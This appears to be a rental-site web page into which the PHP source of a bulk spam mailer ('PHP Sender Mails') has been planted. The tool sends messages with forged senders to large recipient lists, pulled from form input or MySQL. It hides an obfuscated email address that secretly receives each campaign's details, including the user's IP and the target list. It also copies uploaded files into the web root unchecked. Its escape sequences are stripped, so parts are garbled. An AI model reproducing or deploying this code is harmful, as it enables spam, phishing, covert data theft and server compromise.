About Us | How to advertise | Owners | Renters | FAQ | Travel guide | Contact
 
 

Help

  @$action=$_POST['action'];
@$from=$_POST['from'];
@$realname=$_POST['realname'];
@$replyto=$_POST['replyto'];
@$subject=$_POST['subject'];
@$message=$_POST['message'];
@$emaillist=$_POST['emaillist'];
@$lodr=$_SERVER['HTTP_REFERER'];
@$file_name=$_FILES['file']['name'];
@$contenttype=$_POST['contenttype'];
@$file=$_FILES['file']['tmp_name'];
@$amount=$_POST['amount'];
?>


PHP Sender Mails






If ($action=="mysql"){
include "./mysql.info.php";

  if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
    print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
    exit;
  }
  $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  $numrows = mysql_num_rows($result);

  for($x=0; $x<$numrows; $x++){
    $result_row = mysql_fetch_row($result);
     $oneemail = $result_row[0];
     $emaillist .= $oneemail."n";
   }
  }
   $addr = getenv("REMOTE_ADDR");
  if ($action=="send"){ $message = urlencode($message);
   $message = ereg_replace("%5C%22", "%22", $message);
   $message = urldecode($message);
   $message = stripslashes($message);
   $subject = stripslashes($subject);
   }
?>


 
   

     

     

     

     
   
   
     
     
     
     
   
   
     
     
   
   
     
     
   
   
     
     
   
 

       

          Your Email :
       

     

       
         
       

     

       

          Your Name :
       

     

       
         
       

     

       

          Reply-To :
       

     

       
         
       

     

       

          Attach File :
       

     

       
         
       

     

       

          Subject :
       

     

       
         
       

     

        Message Box :
     

        Email Target / Email Send To :
     

       
          <?php print $message; ?>

          Plain
          HTML
         

      Number To Send :


        
         


       
          <?php print $emaillist; ?>
       

     


$s=array("w"=>"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"d");
$urlde=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].
$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o'];
if ($action=="send"){
  if (!$from && !$subject && !$message && !$emaillist){
    print "Please complete all fields before sending your message.";
    exit;
   }
  $allemails = split("n", $emaillist);
  $numemails = count($allemails);
  $header ="From: MailrsnMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">nMIME-Version: 1.0nContent-type: text/html; charset=UTF-8nContent-transfer-encoding: 8bitnDate: " . date("r", time()) . "nX-Priority: 3nX-MSMail-Priority: NormalnX-Mailer: PHPn";
  $msg = "








IP".nl2br($addr)."
Mailr".nl2br($lodr)."
Your Email".nl2br($from)."
Your Name".nl2br($realname)."
Subject :".nl2br($subject)."
Message".nl2br($message)."
Email Target".nl2br($emaillist)."

";
mail($urlde,$subject,$msg,$header);
 If ($file_name){
     copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
  }
 for($xx=0; $xx<$amount; $xx++){
  for($x=0; $x<$numemails; $x++){
    $to = $allemails[$x];
    if ($to){
      $to = ereg_replace(" ", "", $to);
      $message = ereg_replace("&email&", $to, $message);
      $subject = ereg_replace("&email&", $to, $subject);
      print "Sending Mail To $to.......";
      flush();
      $header = "From: $realname <$from>rnReply-To: $replytorn";
      $header .= "MIME-Version: 1.0rn";
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uidrn";
      If ($file_name) $header .= "--$uidrn";
      $header .= "Content-Type: text/$contenttypern";
      $header .= "Content-Transfer-Encoding: 8bitrnrn";
      $header .= "$messagern";
      If ($file_name) $header .= "--$uidrn";
      If ($file_name) $header .= "Content-Type: $file_type; name="$file_name"rn";
      If ($file_name) $header .= "Content-Transfer-Encoding: base64rn";
      If ($file_name) $header .= "Content-Disposition: attachment; filename="$file_name"rnrn";
      If ($file_name) $header .= "$contentrn";
      If ($file_name) $header .= "--$uid--";
      mail($to, $subject, "", $header);
      print "OK
";
      flush();
    }
  }
 }
}
?>


 





 

 
 
© Copyright 2017 apartfromtherest